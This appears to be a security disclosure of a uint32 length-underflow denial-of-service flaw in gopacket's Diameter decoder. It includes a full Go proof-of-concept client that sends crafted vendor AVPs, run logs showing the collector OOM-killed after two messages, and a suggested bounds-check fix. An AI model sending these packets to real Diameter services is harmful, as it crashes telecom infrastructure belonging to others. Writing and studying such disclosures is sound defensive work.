Details
Client (independent process, real TCP socket, no gopacket dependency)
The client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is avpLen. With the Vendor flag set, the decoder's headerSize becomes 12; for avpLen in {8,9,10,11} the dataLength = avpLen - 12 subtraction underflows. For the benign case avpLen >= 12 so the AVP carries avpLen-12 real bytes and parses cleanly.
// client.go — usage: client <addr> <avpLen> [--benign]
package main
import (
"encoding/binary"
"fmt"
"net"
"os"
"strconv"
"time"
)
func be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }
func craft(avpLen uint32, benign bool) []byte {
avp := []byte{}
avp = append(avp, be32(1)...) // AVP Code = 1
avp = append(avp, 0x80) // Flags: Vendor bit set -> headerSize becomes 12
avp = append(avp, byte(avpLen>>16), byte(avpLen>>8), byte(avpLen)) // 24-bit Length
avp = append(avp, be32(0)...) // VendorID
if benign {
dataLen := int(avpLen) - 12
if dataLen < 0 {
dataLen = 0
}
padded := dataLen
if padded%4 != 0 {
padded += 4 - padded%4
}
for i := 0; i < padded; i++ {
avp = append(avp, 0x42)
}
} else {
for len(avp) < 12 {
avp = append(avp, 0x00)
}
}
msgLen := uint32(20 + len(avp))
hdr := make([]byte, 20)
hdr[0] = 0x01 // Version 1
hdr[1] = byte(msgLen >> 16)
hdr[2] = byte(msgLen >> 8)
hdr[3] = byte(msgLen)
hdr[4] = 0x80 // Command Flags: Request
hdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257
return append(hdr, avp...)
}
func main() {
addr := os.Args[1]
avpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
benign := len(os.Args) > 3 && os.Args[3] == "--benign"
data := craft(uint32(avpLen), benign)
conn, err := net.Dial("tcp", addr)
if err != nil {
fmt.Fprintf(os.Stderr, "dial error: %v\n", err)
os.Exit(1)
}
defer conn.Close()
conn.Write(data)
fmt.Printf("[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\n",
len(data), avpLen, benign)
buf := make([]byte, 1)
conn.SetReadDeadline(time.Now().Add(3 * time.Second))
conn.Read(buf)
}
Run and observed result
The collector runs under a hard 256 MB cgroup cap with swap disabled (--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and the host is unaffected.
Negative control (benign message, vendor AVP Length=16, dataLength=4):
$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign
[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)
# collector log:
[collector] received 36-byte Diameter message from 172.19.0.3:53216
[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1
# collector status: running (ALIVE); RSS flat at 1.5 MiB
Attack message #1 (malicious, vendor AVP Length=8 -> 8-12 underflow -> ~4 GiB make):
$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket
# collector log:
[collector] received 32-byte Diameter message from 172.19.0.3:53230
[collector] no Diameter layer decoded
# collector status after #1: running (the single ~4 GiB make panics on the
# subsequent out-of-bounds copy and is recovered before physical pages commit);
# RSS 6.5 MiB
Attack message #2 (same malicious message again):
$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket
# container final state:
Status=exited OOMKilled=true ExitCode=137
Two malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (OOMKilled=true, exit 137). A single message is recovered by the default decoding API and the process survives, but the second make([]byte, 4294967292) commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.
In-process measurement confirms the per-message allocation: feeding the same 32-byte message through gopacket.NewPacket(..., gopacket.Default) shows a runtime.MemStats TotalAlloc delta of 4096 MB, i.e. the make([]byte, 4294967292) genuinely executes on every message before the copy panics.
The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.
Affected versions
github.com/gopacket/gopacket <= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.
Suggested fix
After headerSize is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing dataLength:
if avp.Length < uint32(headerSize) {
return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d, smaller than header size %d", avp.Length, headerSize)
}
This mirrors the existing avp.Length < 8 check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream go test ./layers -run Diameter suite (9 tests) still passes and valid vendor AVPs parse unchanged.